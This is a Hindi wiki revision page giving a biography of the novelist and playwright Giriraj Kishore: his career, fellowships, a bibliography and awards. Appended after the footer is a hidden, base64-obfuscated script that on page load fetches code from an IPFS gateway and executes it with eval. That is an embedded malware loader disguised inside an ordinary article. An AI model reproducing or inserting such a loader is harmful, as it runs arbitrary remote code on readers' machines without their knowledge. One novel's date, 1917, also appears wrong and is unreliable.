गिरिराज किशोर: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replace - "हिंदी" to "हिन्दी")
m (Text replace - " खास " to " ख़ास ")
Line 11: Line 11:


==प्रसिद्धि==
==प्रसिद्धि==
लेखक की शुरुआती दौर में लिखी गयी किसी मशहूर कृति की छाया से बाद की रचनायें निकल नहीं पातीं। गिरिराज जी का लेखन इसका अपवाद है और इनकी हर नयी रचना का क़द पिछली रचना से के क़द से ऊंचा होता गया। देश के इस प्रख्यात साहित्यकार को 'कनपुरिये' अपना खास गौरव मानते हैं। अपनी विनम्रता, सौजन्यता के लिये जाने जाने वाले गिरिराज जी मानते हैं -
लेखक की शुरुआती दौर में लिखी गयी किसी मशहूर कृति की छाया से बाद की रचनायें निकल नहीं पातीं। गिरिराज जी का लेखन इसका अपवाद है और इनकी हर नयी रचना का क़द पिछली रचना से के क़द से ऊंचा होता गया। देश के इस प्रख्यात साहित्यकार को 'कनपुरिये' अपना ख़ास गौरव मानते हैं। अपनी विनम्रता, सौजन्यता के लिये जाने जाने वाले गिरिराज जी मानते हैं -
सख्त से सख्त बात शिष्टाचार के आज घेरे में रहकर भी कही जा सकती है।हम लेखक हैं।शब्द ही हमारा जीवन है और हमारी शक्ति भी ।उसको बढ़ा सकें तो बढ़ायें,कम न करें।भाषा बड़ी से बड़ी गलाजत ढंक लेती है।<ref>{{cite web |url=http://kanpurnama.blogspot.com/2008/05/blog-post_07.html|title=गिरिराज किशोर जी से बातचीत|accessmonthday=12जुलाई|accessyear=2011|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
सख्त से सख्त बात शिष्टाचार के आज घेरे में रहकर भी कही जा सकती है।हम लेखक हैं।शब्द ही हमारा जीवन है और हमारी शक्ति भी ।उसको बढ़ा सकें तो बढ़ायें,कम न करें।भाषा बड़ी से बड़ी गलाजत ढंक लेती है।<ref>{{cite web |url=http://kanpurnama.blogspot.com/2008/05/blog-post_07.html|title=गिरिराज किशोर जी से बातचीत|accessmonthday=12जुलाई|accessyear=2011|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>



Revision as of 14:31, 31 August 2011

गिरिराज किशोर (8 जुलाई,1937) गिरिराज किशोर का जन्म उत्तर प्रदेश के मुज़फ्फरनगर में हुआ। ये उपन्यासकार के अलावा एक सशक्त कथाकार हैं, नाटककार और आलोचक भी हैं। कहानीकार के रूप में भी इन्होंने पर्याप्त ख्याति प्राप्त की है।

शिक्षा व कार्यक्षेत्र

गिरिराज किशोर का जन्म 8 जुलाई, 1937, उत्तर प्रदेश के मुजफ्फररनगर में हुआ था। उन्होंने शिक्षा 'मास्टर ऑफ सोशल वर्क', 1960, में समाज विज्ञान संस्थान, आगरा से प्राप्त की थी। गिरिराज किशोर 1960 से 1964 तक सेवायोजन अधिकारी व प्रोबेशन अधिकारी उ.प्र. सरकार में रहे। 1964 से 1966 तक इलाहाबाद में रहकर स्वतन्त्र लेखन किया। जुलाई 1966 से 1975 तक कानपुर वि.वि में सहायक और उपकुल सचिव के पद पर सेवारत रहे। आई.आई.टी. कानपुर में 1975 से 1983 तक रजिस्ट्रार के पद पर रहे और वहाँ से कुल सचिव के पद से उन्होंने अवकाश ग्रहण किया। 1983 से 1997 तक 'रचनात्मक लेखन एवं प्रकाशन केन्द्र' के अध्यक्ष रहे। साहित्य अकादमी, नई दिल्ली की कार्यकारिणी के भी सदस्य रहे। रचनात्मक लेखन केन्द्र उनके द्वारा ही स्थापित किया गया है। हिन्दी सलाहकार समिति, रेलवे बोर्ड के सदस्य भी रहे।[1]

फैलोशिप

1998 -1999 तक संस्कृति मंत्रालय, भारत सरकार ने 'एमेरिट्स फैलोशिप' दी। 2002 में छत्रपति शाहूजी महाराज वि.वि, कानपुर द्वारा डी.लिट. की मानद् उपाधि दी गयी। भारतीय उच्च अध्ययन संस्थान, राष्ट्रपति निवास शिमला में फैलो - मई 1999 -2001 तक रहे।[2]

प्रतिभा सम्पन्न लेखक

गिरिराज किशोर के सम-सामयिक विषयों पर विचारोत्तेजक निबंध पत्र-पत्रिकाओं में प्रकाशित होते रहे हैं। ये बालकों के लिए भी लिखते रहे हैं। इस तरह गिरिराज किशोर एक बहुआयामी प्रतिभा सम्पन्न लेखक हैं। गिरिराज किशोर को सर्वाधिक कीर्ति औपन्यासिक लेखन के माध्यम से ही प्राप्त हुई। वर्तमान में गिरिराज जी स्वतंत्र लेखन तथा कानपुर से निकलने वाली हिन्दी त्रैमासिक पत्रिका 'अकार' त्रैमासिक के संपादन में संलग्न हैं।

प्रसिद्धि

लेखक की शुरुआती दौर में लिखी गयी किसी मशहूर कृति की छाया से बाद की रचनायें निकल नहीं पातीं। गिरिराज जी का लेखन इसका अपवाद है और इनकी हर नयी रचना का क़द पिछली रचना से के क़द से ऊंचा होता गया। देश के इस प्रख्यात साहित्यकार को 'कनपुरिये' अपना ख़ास गौरव मानते हैं। अपनी विनम्रता, सौजन्यता के लिये जाने जाने वाले गिरिराज जी मानते हैं - सख्त से सख्त बात शिष्टाचार के आज घेरे में रहकर भी कही जा सकती है।हम लेखक हैं।शब्द ही हमारा जीवन है और हमारी शक्ति भी ।उसको बढ़ा सकें तो बढ़ायें,कम न करें।भाषा बड़ी से बड़ी गलाजत ढंक लेती है।[3]

रचनाएँ

प्रकाशित कृतियां -

उपन्यासों के अतिरिक्त दस कहानी संग्रह, सात नाटक, एक एकांकी संग्रह, चार निबंध संग्रह तथा महात्मा गांधी की जीवनी 'पहला गिरमिटिया' प्रकाशित हो चुका है।

कहानी संग्रह -
  1. नीम के फूल,
  2. चार मोती बेआब,
  3. पेपरवेट,
  4. रिश्ता और अन्य कहानियां,
  5. शहर -दर -शहर,
  6. हम प्यार कर लें,
  7. जगत्तारनी एवं अन्य कहानियां,
  8. वल्द रोज़ी,
  9. यह देह किसकी है?
  10. कहानियां पांच खण्डों में 'मेरी राजनीतिक कहानियां'
  11. 'हमारे मालिक सबके मालिक'
उपन्यास

इनके द्वारा लिखित उपन्यास इस प्रकार हैं-

  1. लोग (1966),
  2. चिड़ियाघर (1968),
  3. यात्राएँ (1917),
  4. जुगलबन्दी (1973),
  5. दो (1974),
  6. इन्द्र सुनें (1978),
  7. दावेदार (1979),
  8. यथा प्रस्तावित (1982),
  9. तीसरी सत्ता (1982),
  10. परिशिष्ट (1984),
  11. असलाह (1987),
  12. अंर्तध्वंस (1990),
  13. ढाई घर (1991),
  14. यातनाघर (1997),
  15. पहला गिरमिटिया (1999)।
  • आठ लघु उपन्यास अष्टाचक्र के नाम से दो खण्डों में ।
  • पहला गिरमिटिया - गाँधी जी के दक्षिण अफ्रीकी अनुभव पर आधारित महाकाव्यात्मक उपन्यास।
नाटक -
  1. नरमेध,
  2. प्रजा ही रहने दो,
  3. चेहरे - चेहरे किसके चेहरे,
  4. केवल मेरा नाम लो,
  5. जुर्म आयद,
  6. काठ की तोप।
लघुनाटक

बच्चों के लिए एक लघुनाटक ' मोहन का दु:ख'

लेख/निबंध -
  1. संवादसेतु,
  2. लिखने का तर्क,
  3. सरोकार,
  4. कथ-अकथ,
  5. समपर्णी,
  6. एक जनभाषा की त्रासदी,
  7. जन-जन सनसत्ता।

पुरस्कार

इनका उपन्यास ‘ढाई घर’ अत्यन्त लोकप्रिय हुआ। 1991 में प्रकाशित इस कृति को 1992 में ही साहित्य अकादमी पुरस्कार प्राप्त हुआ। महात्मा गांधी के अफ़्रीका प्रवास पर आधारित ‘पहला गिरमिटिया’ भी काफ़ी लोकप्रिय हुआ, पर ‘ढाई घर’ औपन्यासिक क्षेत्र में अपनी एक विशिष्ट पहचान बना चुका है। राष्ट्रपति द्वारा 23 मार्च 2007 को 'साहित्य और शिक्षा' के लिए 'पद्मश्री' पुरस्कार से विभूषित किया गया था। उत्तर प्रदेश के 'भारतेन्दु पुरस्कार' नाटक पर, 'परिशिष्ट' उपन्यास पर 'मध्यप्रदेश साहित्य परिषद' के 'वीरसिंह देव पुरस्कार', 'उत्तर प्रदेश हिन्दी सम्मेलन' के 'वासुदेव सिंह स्वर्ण पदक' तथा 'ढाई घर' उ.प्र.के लिये हिन्दी संस्थान के 'साहित्य भूषण' पुरस्कार से सम्मानित किये गये। 'भारतीय भाषा परिषद' का 'शतदल सम्मान' मिला। 'पहला गिरमिटिया' उपन्यास पर 'के.के. बिरला फाउण्डेशन' द्वारा 'व्यास सम्मान' और जे. एन. यू. में आयोजित 'सत्याग्रह शताब्दी विश्व सम्मेलन' में सम्मानित किया गया।[4]



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. गिरिराज किशोर (हिन्दी)। । अभिगमन तिथि: 12 जुलाई, 2011।
  2. गिरिराज किशोर, संस्थापक सदस्य (हिन्दी)। । अभिगमन तिथि: 12 जुलाई, 2011।
  3. गिरिराज किशोर जी से बातचीत (हिन्दी)। । अभिगमन तिथि: 12जुलाई, 2011।
  4. गिरिराज किशोर, संस्थापक सदस्य (हिन्दी)। । अभिगमन तिथि: 12 जुलाई, 2011।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>